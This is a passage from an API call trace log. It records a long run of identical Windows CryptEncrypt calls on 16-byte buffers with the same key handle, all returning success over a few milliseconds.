| out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.294] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.295] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.296] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.297] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.298] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 